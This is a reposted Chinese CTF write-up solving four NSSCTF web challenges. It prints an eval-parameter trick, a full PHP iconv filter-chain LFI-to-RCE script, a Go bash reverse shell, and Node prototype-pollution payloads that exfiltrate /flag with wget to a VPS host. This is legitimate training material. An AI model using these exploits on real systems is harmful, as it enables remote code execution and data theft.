NSSCTF Round#8 Basic
from:http://v2ish1yan.top
MyDoor
使用php伪协议读取index.php的代码
php://filter/read=convert.base64-encode/resource=index.php
error_reporting(0);if (isset($_GET['N_S.S'])) { eval($_GET['N_S.S']);}if(!isset($_GET['file'])) { header('Location:/index.php?file=');} else { $file = $_GET['file']; if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) { include $file; } else { die('error.'); }}
发现可以执行命令,因为php的特性如果执行给N_S.S传参,那么N_S.S在后端会被规范成N_S_S
所以使用N[S.S来使后端得到的参数为N_S.S(具体原因自己去搜吧)
我原本以为flag在主机里,找了半天结果在phpinfo …
?N[S.S=phpinfo();
MyPage
感觉部分源码和MyDoor是一样的,只是我尝试用伪协议读取index.php的时候没回显,所以猜测应该就是用了include来读取文件
看到include,我就想起了zedd的一篇文章
文章:
- hxp CTF 2021 - The End Of LFI?
- Solving “includer’s revenge” from hxp ctf 2021 without controlling any files
直接使用exp,来执行命令,得到flag
import requestsurl = "http://43.143.7.127:28742/index.php?file="file_to_use = "/etc/passwd"command = "cat flag.php"#=`$_GET[0]`;;?>base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"conversions = { 'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2', 'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2', 'C': 'convert.iconv.UTF8.CSISO2022KR', '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2', '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB', 'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213', 's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61', 'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS', 'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932', 'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213', 'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5', '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', 'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2', 'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2', 'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2', 'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2', '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2', '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'}# generate some garbage base64filters = "convert.iconv.UTF8.CSISO2022KR|"filters += "convert.base64-encode|"# make sure to get rid of any equal signs in both the string we just generated and the rest of the filefilters += "convert.iconv.UTF8.UTF7|"for c in base64_payload[::-1]: filters += conversions[c] + "|" # decode and reencode to get rid of everything that isn't valid base64 filters += "convert.base64-decode|" filters += "convert.base64-encode|" # get rid of equal signs filters += "convert.iconv.UTF8.UTF7|"filters += "convert.base64-decode"final_payload = f"php://filter/{filters}/resource={file_to_use}"r = requests.get(url, params={ "0": command, "action": "include", "file": final_payload})print(r.text)
Upload_gogoggo
一个没有过滤的文件上传,且在上传后会执行go
加上文件名.
之前的字符串的命令,并且是对你上传的文件进行执行的,(猜的)
eg:
上传文件名为run.go
,那么就会执行go run run.go
,这样会执行go里的代码
所以上传一个反弹shell的go文件
package mainimport ("fmt""log""os/exec")func main() {cmd := exec.Command("/bin/bash", "-c", "bash -i &> /dev/tcp/vps/ip 0>&1")out, err := cmd.CombinedOutput()if err != nil {fmt.Printf("combined out:\n%s\n", string(out))log.Fatalf("cmd.Run() failed with %s\n", err)}fmt.Printf("combined out:\n%s\n", string(out))}
然后文件名为run.go,上传就可以得到shell
谢队把flag藏到/home了,挨打!
ez_node
源码
const express = require("express");const path = require("path");const fs = require("fs");const multer = require("multer");const PORT = process.env.port || 3000const app = express();global = "global"app.listen(PORT, () => { console.log(`listen at ${PORT}`);});function merge(target, source) { for (let key in source) { if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } }}let objMulter = multer({ dest: "./upload" });app.use(objMulter.any());app.use(express.static("./public"));app.post("/upload", (req, res) => { try{ let oldName = req.files[0].path; let newName = req.files[0].path + path.parse(req.files[0].originalname).ext; fs.renameSync(oldName, newName); res.send({ err: 0, url: "./upload/" + req.files[0].filename + path.parse(req.files[0].originalname).ext }); } catch(error){ res.send(require('./err.js').getRandomErr()) }});app.post('/pollution', require('body-parser').json(), (req, res) => { let data = {}; try{ merge(data, req.body); res.send('Register successfully!tql') require('./err.js').getRandomErr() } catch(error){ res.send(require('./err.js').getRandomErr()) }})
只有一个merge函数里可以进行原型链污染,而且从很多方面都可以看出来这个是原型链污染
可以污染他来加载任意包从而执行任意命令
根据出题人的本意是让我们上传一个包,然后去加载那个包,但是我是直接用的别人的exp,而且题目环境也包含exp里需要的文件,所以直接打就行
给/pollution路由传数据
{"__proto__": {"data": {"name": "./err.js","exports": "./preinstall.js"},"path": "/opt/yarn-v1.22.19","npm_config_global": 1,"npm_execpath": "--eval=require('child_process').execFile('sh',['-c','wget\thttp://vpsip:vpsport/`cat /flag`'])"},"a": null}
然后就可以得到flag
至于这个exp是在哪找到的,就是题目给了hint:ez_node: https://github.com/nodejs/node/blob/c200106305f4367ba9ad8987af5139979c6cc40c/lib/internal/modules/cjs/loader.js
在github上直接搜就可以找到 :>
更加精细的文章可以看
补充
在看了Node.js require() RCE复现这篇文章以及本地调试后,大概知道是啥原理了
const { data: pkg, path: pkgPath } = readPackageScope(parentPath) || {}
进入readPackageScope()
function readPackageScope(checkPath) { const rootSeparatorIndex = StringPrototypeIndexOf(checkPath, sep); let separatorIndex; do { separatorIndex = StringPrototypeLastIndexOf(checkPath, sep); checkPath = StringPrototypeSlice(checkPath, 0, separatorIndex); if (StringPrototypeEndsWith(checkPath, sep + 'node_modules')) return false; const pjson = readPackage(checkPath + sep); if (pjson) return { data: pjson, path: checkPath, }; } while (separatorIndex > rootSeparatorIndex); return false;}
在进入readPackage()
function readPackage(requestPath) { const jsonPath = path.resolve(requestPath, 'package.json'); const existing = packageJsonCache.get(jsonPath); if (existing !== undefined) return existing; const result = packageJsonReader.read(jsonPath); const json = result.containsKeys === false ? '{}' : result.string; if (json === undefined) { packageJsonCache.set(jsonPath, false); return false; } try { const parsed = JSONParse(json); const filtered = { name: parsed.name, main: parsed.main, exports: parsed.exports, imports: parsed.imports, type: parsed.type }; packageJsonCache.set(jsonPath, filtered); return filtered; } catch (e) { e.path = jsonPath; e.message = 'Error parsing ' + jsonPath + ': ' + e.message; throw e; }}
他会对当前require请求文件所在的目录中区找package.json文件并进行json解析,如果没有就返回fasle
所以
const { data: pkg, path: pkgPath } = readPackageScope(parentPath) || {}
对pkg赋值的肯定是后面的{}
的值
而这里就可以对pkg和pkgPath的值进行污染
总结来说,在require非原生库的过程中,最终会去调用PkgPath
和pkg.exports
拼接起来的字符串所指定的文件
所以payload
{"__proto__": {"data": {"name": "./err.js","exports": "./<需要调用文件的文件名>"},"path": "<需要调用的文件的路径>",}
如果要使用题目中提供的文件上传功能的话,就是这样做的
众所周知,require得到的是module.exports的内容,所以先上传一个js文件
好像是没有curl这个命令,所以这里要用wget进行oob
obj={ getRandomErr:() => { require('child_process').execSync('wget http://vpsport:vpsport/`cat /flag`') }}module.exports=obj
得到上传后的文件名
payload
{"__proto__": {"data": {"name": "./err.js","exports": "./cc3ddcac43eb509d0d8df23e0a6fc124.js"},"path": "/app/upload"}}
给/pollution路由传数据,然后就可以在vps上得到flag
来源地址:https://blog.csdn.net/weixin_52585514/article/details/128985443
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341